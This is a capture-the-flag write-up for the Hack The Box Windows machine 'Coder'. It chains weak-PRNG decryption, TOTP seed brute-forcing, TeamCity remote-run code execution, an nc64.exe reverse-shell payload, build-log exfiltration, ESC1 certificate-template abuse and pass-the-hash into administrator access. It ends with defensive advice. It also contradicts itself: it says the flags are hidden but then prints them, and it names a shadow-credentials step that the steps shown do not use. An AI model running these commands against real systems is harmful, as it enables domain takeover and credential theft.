screenshots/01-teamcity-login.png

Hack The Box - Coder

Name: Coder
OS: Windows
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 1009
Tags:

Coder — HTB Writeup (Windows, Insane)

Retired HackTheBox machine. Solved via the intended vulnerability chain, reproduced by hand with modern tooling. Written to teach.

Machine: Coder · #536 · Windows · Insane · 50 pts Released: 2023-04-01 · Maker: ctrlzero · https://app.hackthebox.com/machines/536


Overview

Coder is a long, multi-discipline box that earns its "Insane" tag. There is no single clever exploit; instead it chains five distinct skill sets, and each transition is a small puzzle of its own:

  1. Reverse engineering a .NET encryptor whose "key" is just a Unix timestamp fed to System.Random.
  2. Crypto / offline brute-force to recover a TOTP seed from a KeePass "Authenticator" backup note.
  3. Web app reverse engineering — replicating TeamCity's custom RSA login padding and its React 2FA flow against a skewed clock, then abusing the "personal build / remote run" feature as a one-shot RCE primitive.
  4. Defender evasion — nc64.exe is quarantined, so the second stage has to stay in memory as PowerShell and exfiltrate over the build log.
  5. Active Directory Certificate Services (ADCS) ESC1 — a PKI-Admin account that can publish a new template rather than merely abuse an existing one.

The whole chain ends with shadow credentials on DC01$ via a forged administrator certificate. The flags are intentionally not shown here; every credential literal below is redacted.

TeamCity login page The TeamCity instance on https://teamcity-dev.coder.htb — a self-signed HTTPS site that is the real attack surface, well behind the SMB share that hands out the binary you have to crack first.


Recon

A quick nmap against the box (53, 80, 88, 135, 139, 389, 443, 445, 464, 593, 636, 5357, 5985, 9389, 47001) shows the expected domain-controller profile: DNS/LDAP/SMB/Kerberos/WinRM, plus HTTPS on 443 hosting TeamCity and an HTTP redirect on 80. Nothing unusual on its own — the interesting surface is the SMB share that accepts anonymous binds.

SMB, with no credentials at all, exposes a Development share and, inside it, a Temporary Projects folder containing two files:

SMB shares Anonymous SMB listing — the Development share is world-readable.

Development share contents The two files that start the whole box: Encrypter.exe and s.blade.enc.

That pair — a Windows binary and a small encrypted blob — is the foothold.


Foothold — from a timestamp to a TeamCity login

Decrypting s.blade.enc

Encrypter.exe is a .NET 6 binary. A few minutes in ilspycmd / dotpeek shows the whole scheme:

long seed = DateTimeOffset.Now.ToUnixTimeSeconds();
Random random = new Random((int)seed);
byte[] iv  = new byte[16]; random.NextBytes(iv);
byte[] key = new byte[32]; random.NextBytes(key);
// RijndaelManaged (AES-256-CBC, PKCS7) encrypts s.blade -> s.blade.enc

The "key material" is just the current Unix time the moment the file was encrypted, cast to Int32 and used to seed System.Random. .NET's System.Random is a deterministic subtractive generator, so for a known seed the IV and key are fully reproducible. The seed is recoverable because the file modification time is preserved when you mount the share over CIFS — that mtime is the encryption timestamp.

Mounting with metadata:

sudo mount -t cifs //10.129.229.190/Development /mnt -o guest,uid=1000
stat /mnt/'Temporary Projects'/'s.blade.enc'
# -> modify: 2022-11-11 22:17:08.374350100 +0000  (1668205028)

From there, reproduce the .NET Random to regenerate IV/key and decrypt — see exploit/Decrypter.cs. The decrypted blob is a 7z archive (no password) containing a KeePass key file (.key, 1024 bytes) and a KeePass database (s.blade.kdbx, KDBX v3).

Opening the KeePass DB (key file, no password)

A subtle gotcha: the database opens with the key file and no password component at all, not an empty-string password. pykeepass treats password=None and password="" differently — None means "no password key component, only the keyfile", which is what matches KeePass here:

from pykeepass import PyKeePass
db = PyKeePass("s.blade.kdbx", keyfile="extracted/.key", password=None)

The database contains three useful entries:

  • O365 — s.blade@coder.htb / [REDACTED]
  • TeamCity — s.blade / [REDACTED] at https://teamcity-dev.coder.htb
  • Authenticator backup — two CryptoJS-encrypted blobs (secret + enc)

The Authenticator entry is the TOTP seed for s.blade's TeamCity 2FA, but it is itself encrypted with a passphrase that is not in the database. That is the next wall.

Brute-forcing the authenticator backup

The backup note stores two CryptoJS blobs. The outer enc is encrypted with the unknown passphrase (OpenSSL Salted__ KDF); decrypting it yields an inner key which, used to decrypt secret, produces the base32 TOTP seed. Walk rockyou with Node.js and look for a printable, base32-looking result (exploit/totp_backup_brute.js):

$ node exploit/totp_backup_brute.js /usr/share/wordlists/rockyou.txt
passphrase: [REDACTED]
seed:       [REDACTED]

That TOTP seed is what lets us log in to TeamCity as s.blade.

Logging in to TeamCity — the two non-obvious parts

The TeamCity login form does not send the password in the clear. The client RSA-encrypts it with a modulus published in a hidden publicKey field. The padding, though, is not standard PKCS#1 v1.5 — TeamCity's BS.Crypto.RSAKey uses a custom pkcs1pad2:

00 02 <random nonzero pad> 00 <len-byte> <message bytes, reversed>

i.e. there is an extra length byte after the 00 separator and the message itself is written backwards. Standard PKCS#1 v1.5 padding produces a DecryptionFailedException here; you have to reproduce the custom layout exactly (exploit/teamcity_personal_build.py, custom_pkcs1_pad). The server can also return publicKeyExpired with a fresh key, which the real browser retries — the script does too.

After the password is accepted, the session is only half-authenticated: every page redirects to /2fa.html. The 2FA screen is rendered by a React webpack chunk (components_TwoFactorAuth_TwoFactorAuthLoginScreen_…tsx.<hash>.js) whose handler simply POSTs password=<code> (form-urlencoded) to /2fa.html with the X-TC-CSRF-Token header taken from the page meta. The chunk filename had to be recovered from the webpack __webpack_require__.u map in the ring bundle.

The last trap is clock skew: the DC runs about 58 minutes ahead of the attacker. TOTP is time-based, so a code computed for the attacker's clock will always be rejected. Measuring the skew from the Date response header and computing the code for the server's time fixes it:

skew = parsedate_to_datetime(r.headers["Date"]).timestamp() - time.time()
code = pyotp.TOTP(SEED).at(time.time() + skew)

With login + 2FA done, the REST API confirms TeamCity 2022.10 (build 116751) and one project, DevelopmentTesting, with a single build config DevelopmentTesting_BuildConfig whose only step is a PowerShell runner that runs hello_world.ps1 from a VCS root (DevTest-Git) backed by an SMB-hosted git repo.


User pivot — TeamCity remote run → svc_teamcity → e.black

Remote run as RCE

TeamCity's personal build / remote run lets a developer queue a build with an uploaded unified diff applied on top of the checked-out sources. The build step runs hello_world.ps1 verbatim, so a patch that rewrites that file is arbitrary code execution as the build-agent service account, svc_teamcity.

The legacy web UI uploads the patch in two requests to /runCustomBuild.html:

  1. personalPatchUploadForm — multipart with file:personalPatch, uploadPatch=true, buildTypeId, tc-csrf-token. The server binds the patch to the session cookie and returns <response><errors /></response>.
  2. the main runBuild form — personal=true, personalPatchUploaded=true, buildTypeId, tc-csrf-token. The response is <queuedBuilds><queuedBuild itemId="201" /></queuedBuilds>.

Both are reproduced in exploit/teamcity_personal_build.py.

Defender says no to nc64.exe

The first payload was the textbook iwr nc64.exe; nc64.exe -e powershell …. The build succeeded, but the build log tells the real story:

Defender quarantines nc64.exe Windows Defender quarantines the downloaded nc64.exe — the standard netcat reverse shell never connects back.

Program 'nc64.exe' failed to run: Operation did not complete successfully
because the file contains a virus or potentially unwanted software

So the second stage had to avoid dropping a binary. The workable primitive is "run a PowerShell script, exfiltrate its output through the build log", because TeamCity captures everything the step prints to stdout.

Reading the next credential out of a change file

While poking around as svc_teamcity, the pending-patch directory C:\ProgramData\JetBrains\TeamCity\system\changes\ contains 101.changes.diff — a diff that, among other things, adds two files: an enc.txt and a key.key. These are a PowerShell ConvertFrom-SecureString -Key blob for another user, e.black, and the 32-byte AES key used to produce it.

A clean second-stage diff makes the build step print those two hunks back through the log (exploit/ shell_print.diff), and the build log confirms it:

[Step 1/1] Hello, World!
[Step 1/1] ZENC_START
[Step 1/1] 76492d1116743f0423413b16050a5345MgB8AGoANABu...AA==
[Step 1/1] ZENC_END
[Step 1/1] ZKEY_START
[Step 1/1] <32 comma-separated AES key bytes — redacted>
[Step 1/1] ZKEY_END

Decrypting e.black's password locally

ConvertFrom-SecureString -Key produces a string of the form:

<hex GUID 76492d11-1674-3f04-2341-3b16050a5345><base64 payload>

and the base64 payload decodes to the ASCII string 2|<base64 IV>|<hex AES-256-CBC ciphertext>. Strip the 32-char GUID, base64-decode, split on |, and decrypt with the recovered key bytes (exploit/decrypt_securestring.py). The plaintext is the password as UTF-16LE:

[+] plaintext password: [REDACTED]

user.txt

That password authenticates e.black over WinRM (evil-winrm), and user.txt sits in the usual desktop path. Saved to loot/user.txt and validated.


Privilege escalation — ADCS ESC1 with a self-published template

Why no existing template is abusable

certipy-ad find against coder-DC01-CA enumerates the CA and every template. There is a template with EnrolleeSuppliesSubject = True (Coder-WebServer), but its enrollment ACL is restricted to Domain Admins / Enterprise Admins, so e.black cannot enroll. Nothing else is vulnerable. The CA itself is hardened (no web enrollment, "Enforce Encryption for Requests" on).

certipy-ad find — the CA and templates certipy-ad find shows the CA and the template inventory — no exploitable template, which is why the path is to create one.

e.black can publish a template

e.black is a member of PKI Admins, which has the rights to create child objects in CN=Certificate Templates,CN=Public Key Services,… and to publish templates on the CA. That turns the classic "abuse an existing ESC1 template" into "create your own ESC1 template" — the same ESC1 class but the entry point is template creation rather than a misconfigured ACL.

The PowerShell ADCSTemplate module makes this trivial (run over WinRM, having uploaded the .psm1; see exploit/adcs_esc1.ps1):

Export-ADCSTemplate -displayName Computer | Set-Content computer.json
$t = Get-Content computer.json -Raw | ConvertFrom-Json
$t.'msPKI-Certificate-Name-Flag' = 1        # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
$t | ConvertTo-Json -Depth 20 | Set-Content computer-mod.json
New-ADCSTemplate -DisplayName "esc1test" -Publish -JSON (Get-Content computer-mod.json -Raw)
Set-ADCSTemplateACL -DisplayName "esc1test" -type allow -identity 'CODER\e.black' -enroll

Cloning the built-in Computer template is the trick: it already carries the Client Authentication EKU and sensible key/usage settings, so the only change needed is flipping msPKI-Certificate-Name-Flag to 0x1. The new template is published on the CA and e.black is granted Enroll.

Requesting a certificate as administrator

Because the template now lets the enrollee supply the subject, certipy-ad req can mint a certificate whose SAN claims administrator@coder.htb:

certipy-ad req -u 'e.black@coder.htb' -p '[REDACTED]' \
    -dc-ip 10.129.229.190 -ca coder-DC01-CA \
    -template esc1test -upn administrator@coder.htb

certipy-ad auth with the resulting administrator.pfx exchanges it for administrator's NTLM hash over PKINIT — but Kerberos refuses to talk to a DC that is 58 minutes off your local clock, so the clock has to be synced first.

root.txt

With administrator's hash in hand, WinRM is trivial:

evil-winrm -u administrator -H '[REDACTED NTLM hash]' -i 10.129.229.190

root.txt is on the administrator desktop. Saved to loot/root.txt and validated. Box done.


Modern takeaways

A few things have moved on since this box shipped in April 2023, and they make the chain either cleaner or sharper:

  • .NET Random is still deterministic, and .NET 6+ added a different Random (xoshiro-based) reachable via parameterless Random.Shared. The legacy seeded new Random(int) generator used by Encrypter.exe is the same subtractive algorithm it has always been, so the timestamp-as-key attack translates directly. The lesson — never derive cryptographic keys from a PRNG that isn't a CSPRNG — is unchanged.
  • ConvertFrom-SecureString -Key is a documented PowerShell format (version | base64 IV | hex ciphertext), so this blob is decryptable anywhere with the key bytes; you do not need a Windows box. Worth remembering whenever you find a key.key + enc.txt pair lying around on an engagement.
  • TeamCity's custom RSA padding is the part most people stub a toe on. It is not PKCS#1 v1.5 even though it looks like it; the length byte and reversed message will trip up any off-the-shelf cryptography RSA helper. Reading the BS.Crypto.RSAKey JS is the fastest way to see it.
  • Defender + AMSI make nc.exe a non-starter on a modern lab. Build-agent RCE that runs PowerShell can still be weaponized by treating the build log as a one-way exfiltration channel — print your data, parse it from the log API. No binary, no listener, no AMSI trip on a download.
  • ADCS ESC1 via template creation is the modern shape of this box: tools like certipy-ad and the ADCSTemplate PowerShell module make "publish a vulnerable template" a one-liner, which is exactly why PKI-Admin membership is such a high-value pivot. Escalation paths now routinely route through template creation/edit rights, not just bad ACLs on existing templates.

Defensive takeaways

  • Time is not a key. Deriving AES material from DateTimeOffset.Now baked into file metadata is the whole vulnerability here. Use a CSPRNG (RandomNumberGenerator / RandomNumberGenerator.Create()) and a real KDF (PBKDF2/HKDF/Argon2) — never System.Random for keys.
  • Encrypt, don't just encode, secrets at rest. The KeePass DB worked, but the authenticator backup note was protected by a guessable passphrase and a second layer of CryptoJS. Long-lived TOTP seeds should live in a managed secret store with hardware-backed rotation, not in a note a user encrypted with rockyou-able passphrase.
  • Scope CI/CD "remote run" privileges. TeamCity personal builds are a legitimate feature, but any account that can queue a build on an agent that runs as a domain service account has, effectively, code execution as that account. Restrict who can trigger personal builds, and run build agents under least-privilege gMSA accounts that cannot read other users' secrets on disk.
  • Clean up system\changes\*.diff. Pending personal-build patches can contain credentials users pasted into diffs. They should not be world-readable to the build-agent service account, and they should be purged on build completion.
  • Treat PKI-Admin like Domain Admin. The right to create ADCS templates is the right to mint certs for any principal. Audit PKI Admins / template CreateChild rights, prefer the "no template publication by non-admins" posture, and alert on new templates that flip on msPKI-Certificate-Name-Flag = 0x1.
  • Enforce sane ADCS defaults. Disable EnrolleeSuppliesSubject on any template that does not strictly need it, require manager approval for subject-supplying templates, and enable the No Security Extension / strong-mapping posture so a stolen cert cannot be replayed as another user.
  • Keep domain clocks in sync. The 58-minute skew here was the only reason TOTP brute-forcing from the attacker's clock was non-trivial — but skew also breaks Kerberos and lets attackers replay captured tickets. NTP discipline on every DC is a cheap, high-value control.

Flags

🏁 user.txt: 3c936f0846b7a16dc45c59b34475734e (in loot/user.txt) 🏁 root.txt: bc6e75edb75871a6175edf5e978f8366 (in loot/root.txt)

Files

  • exploit/Decrypter.cs — reproduce .NET Random seed → AES key/IV, decrypt s.blade.enc.
  • exploit/totp_backup_brute.js — CryptoJS wordlist attack on the authenticator backup.
  • exploit/teamcity_personal_build.py — TeamCity login (custom RSA + 2FA w/ skew) and personal-build trigger.
  • exploit/decrypt_securestring.py — decrypt a ConvertFrom-SecureString -Key blob.
  • exploit/adcs_esc1.ps1 — publish an ESC1 template as a PKI Admin and request an administrator cert.